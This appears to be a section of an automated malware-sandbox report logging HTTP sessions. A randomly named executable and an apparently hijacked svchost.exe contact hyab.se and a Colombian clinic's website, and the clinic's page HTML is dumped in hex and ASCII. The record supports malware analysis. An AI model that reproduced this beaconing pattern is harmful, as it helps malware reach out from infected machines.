2023-03-10 06:56:19 UTC	1203	IN	Data Raw: 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 6b 67 72 6f Data Ascii: tyle>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup backgro
2023-03-10 06:56:19 UTC	1204	IN	Data Raw: 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 61 6e 63 79 Data Ascii: one', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gafancy
2023-03-10 06:56:19 UTC	1206	IN	Data Raw: 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 3c 69 Data Ascii: (boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener"><i
2023-03-10 06:56:19 UTC	1207	IN	Data Raw: 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 Data Ascii: "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-butt
2023-03-10 06:56:19 UTC	1208	IN	Data Raw: 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b Data Ascii: e/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock
2023-03-10 06:56:19 UTC	1210	IN	Data Raw: 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 Data Ascii: alistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure clas
2023-03-10 06:56:19 UTC	1211	IN	Data Raw: 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 Data Ascii: e"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="por
2023-03-10 06:56:19 UTC	1212	IN	Data Raw: 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 69 76 20 63 Data Ascii: g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><div c
2023-03-10 06:56:19 UTC	1214	IN	Data Raw: 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 Data Ascii: encin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br><s
2023-03-10 06:56:19 UTC	1215	IN	Data Raw: 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 36 30 37 20 Data Ascii: > </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57 607
2023-03-10 06:56:19 UTC	1216	IN	Data Raw: 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 Data Ascii: e" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-content g
2023-03-10 06:56:19 UTC	1218	IN	Data Raw: 34 34 32 0d 0a 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 Data Ascii: 442e="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text/Jav
2023-03-10 06:56:19 UTC	1219	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	56982	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1183	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:19 UTC	1183	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:19 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Ji7UbdZ7dUGzsIjoKLUaMzH29uqoKc82Yqeh59KFaS3aNv4xsHrlOBlJR5d5XZ5v83XdxTy%2FvpgJn58IfUfy2HbXEK%2F3WX7JD%2BEZFA71qJK4w6Z0kfrAcYs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a839ffa29be0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:19 UTC	1184	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:19 UTC	1184	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	57001	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1184	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=bbd2a9ecd1f16e6deb08a6c096c7155a
2023-03-10 06:56:20 UTC	1269	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:20 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MW%2B33WTj2zLU2KblcYUdu1kL4iGj8NrutNZE24yIUC5S%2B66DA1izuOYhmQsi2kevzmn4OoCP7m%2BhQ69pSMfMF96Ab9L43RW3RqxkCDlHrQW0TP8FnjLiNyf0XauSNoEvI3uk5WeFTK4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a83b0aa49b3f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:20 UTC	1270	IN	Data Raw: 37 63 62 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7cb1<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:20 UTC	1270	IN	Data Raw: 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 6d 70 6c 61 74 65 Data Ascii: d_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/template
2023-03-10 06:56:20 UTC	1272	IN	Data Raw: 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e Data Ascii: ootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bootstrap.
2023-03-10 06:56:20 UTC	1273	IN	Data Raw: 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 67 61 6e 74 72 79 Data Ascii: es/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="gantry
2023-03-10 06:56:20 UTC	1274	IN	Data Raw: 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 Data Ascii: e-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard "><div
